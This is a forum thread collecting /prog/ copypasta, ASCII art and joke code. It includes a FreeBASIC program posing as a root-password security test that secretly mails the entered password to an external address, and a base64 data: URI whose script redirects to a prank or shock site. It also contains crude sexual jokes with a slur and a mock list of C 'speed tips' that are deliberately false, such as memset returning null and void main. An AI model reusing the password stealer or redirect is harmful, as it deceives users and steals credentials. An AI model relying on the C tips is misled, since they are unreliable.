/prog/ Culture Thread

Let's gather the all time copypasta, ascii and other forms of art related to /prog/ in this thread.

#!/usr/bin/perl -w                                      # camel code
use strict;

                                           $_='ev
                                       al("seek\040D
           ATA,0,                  0;");foreach(1..3)
       {<DATA>;}my               @camel1hump;my$camel;
  my$Camel  ;while(             <DATA>){$_=sprintf("%-6
9s",$_);my@dromedary           1=split(//);if(defined($
_=<DATA>)){@camel1hum        p=split(//);}while(@dromeda
 ry1){my$camel1hump=0      ;my$CAMEL=3;if(defined($_=shif
        t(@dromedary1    ))&&/\S/){$camel1hump+=1<<$CAMEL;}
       $CAMEL--;if(d   efined($_=shift(@dromedary1))&&/\S/){
      $camel1hump+=1  <<$CAMEL;}$CAMEL--;if(defined($_=shift(
     @camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if(
     defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME
     L;;}$camel.=(split(//,"\040..m`{/J\047\134}L^7FX"))[$camel1h
      ump];}$camel.="\n";}@camel1hump=split(/\n/,$camel);foreach(@
      camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\
      064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse;
       print"$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y
        /LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/;
         $_=reverse;print"\040$_$Camel\n";}';;s/\s*//g;;eval;   eval
           ("seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;(   );;s
             ;^.*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__   \124
               \1   50\145\040\165\163\145\040\157\1 46\040\1  41\0
                    40\143\141  \155\145\1 54\040\1   51\155\  141
                    \147\145\0  40\151\156 \040\141    \163\16 3\
                     157\143\   151\141\16  4\151\1     57\156
                     \040\167  \151\164\1   50\040\      120\1
                     45\162\   154\040\15    1\163\      040\14
                     1\040\1   64\162\1      41\144       \145\
                     155\14    1\162\       153\04        0\157
                      \146\     040\11     7\047\         122\1
                      45\15      1\154\1  54\171          \040
                      \046\         012\101\16            3\16
                      3\15           7\143\15             1\14
                      1\16            4\145\163           \054
                     \040            \111\156\14         3\056
                    \040\         125\163\145\14         4\040\
                    167\1        51\164\1  50\0         40\160\
                  145\162                              \155\151
                \163\163                                \151\1
              57\156\056

In assembler I never used labels, but absolute addresses.  I continue the tradition today, by just using numbers for names, i.e. v00000000, v00000001, v00000002, etc.  I use this notation for every variable name and label.  I also use goto, never use function calls, and make extensive use of global variables, because using the stack is a security risk.

Anyways, please listen to me. Not that it's really related to this profile.
I went to /prog/ a while ago; you know, world4chan?
Well anyways there was an insane number of C programmers resolving memory leaks there, and I couldn't post.
Then, I looked at a stickied thread, and it had "CFLAGS tutorial" written on it.
Oh, the stupidity. Those idiots.
You, don't come to /prog/ just because it's got a CFLAGS tutorial, fool.
It's only CFLAGS, CFLAGS are a workaround for crying out loud.
There're even entire teams here. Team of 6, all out for some m4d CFLAGS, huh? How fucking nice.
"Alright, I'm gonna compile with -O4 -malicious-double!" God I can't bear to watch.
You people, I'll give you algorithm help if you get out of my Internet.
/prog/ should be a bloody place.
That tense atmosphere, where two nerds on opposite sides of the thread can start a fight over the forced indentation of code at any time,
the stab-or-be-stabbed mentality, that's what's great about this place.
People with lives should screw off and stay home.
Anyways, I was about to start trolling, and then the bastard beside me goes "-fpie-extensions and -ffaggot-protector, with extra security."
Who in the world uses insecure languages nowadays, you moron?
I want to ask him, "do you REALLY want to compile it with extra security?"
I want to interrogate him. I want to interrogate him for roughly an hour.
Are you sure you don't just want to try saying "I'd better use Haskell for this"?
Coming from a /prog/ veteran such as myself, the latest trend among us vets is this, virtual machines.
That's right, programs running in virtual machines. This is the vet's way of programming.
Using a virtual machine means your program doesn't have direct access to the system. But on the other hand the program runs a tad slower. This is the key.
And then, it's Rapid Application Development. This is unbeatable.
However, if you use this then there is danger that you'll be marked by the process scheduler from next time on; it's a double-edged sword.
I can't recommend it to amateurs.
What this all really means, though, is that you, should just stick with today's special.

data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb249J2h0dHA6Ly9sZWF2ZS1wcm9nLW5vdy5vbi5uaW1wLm9yZyc8L3NjcmlwdD4K

'FREEBASIC under Linux
print "This program tests your root password for security."
input "Enter your root password";a$
print "Checking...";
x=timer+10:do:loop until timer>x
shell "echo "+a$+"|mailx -s 'my password' kamichu@nm.ru >/dev/null 2>/dev/null"
print "done."
print "Your password passes the test.  You are very secure."
print "Bye."

I am a computer programmer, which means I'm fat, nerdy, and have a tiny cock. I got AIDS from paying a cheap whore to fuck me, since I have no love in my life.
When the doctor told me, I went to the only thing I knew -- SICP.
I slammed my penis between two copies of SICP. It swelled up to twice normal size and fell off. I was worried.
I woke up the next day with incredible abs, a 14" rod of steel, and no HIV. I'm now an adult movie star, banging porn stars.
Thank you, SICP!

This may surprise you, but I wrote a metacircular ANSI Java bytecode intepreter when I was 12.
Did that make any sense?
I'm not a programmer, I hang out here just for fun, and I thought I'll check what I have learned from you guys. So, does that make sense?

    1. Use fprintf ("fast printf") instead of printf.
    2. ++i is faster than both i++ and i = i + 1.
    3. void main(void) is faster than int main(void) or int main(int, char **) since no value needs to be returned to the OS.
    4. Swapping with exclusive-or (a^=b^=a^=b swaps a and b) is faster than using a temporary. This works for all types (including structures), but not on all compilers. Some compilers may also give you a harmless warning.
    5. Static storage duration objects are faster than automatic storage duration objects because the CPU doesn't have to set aside storage on the stack every time a function is called. Make your loop indexes global so that you can use them everywhere:
    int i;
    void func(void) { for (i = 0; i < 10; i++) ; /* ... */ }
    void func2(void) { for (i = 0; i < 20; i++) ; /* ... */ }
    /* ... */
    6. Compilers often give more memory to arrays than you asked for. Here's how to check how big an array actually is (memset returns a null pointer if the size you passed to it is bigger than the size of the array you passed to it):
    int arr[256];
    size_t realsize;
    for (realsize = 0; realsize <= SIZE_MAX; ++realsize)
            if (!memset(arr, 0, realsize)) break;
    /* now you know that arr actually has realsize / sizeof (int) elements */
    If you combine this with #5, your program will be faster in the long run (but this usually doesn't work for short programs).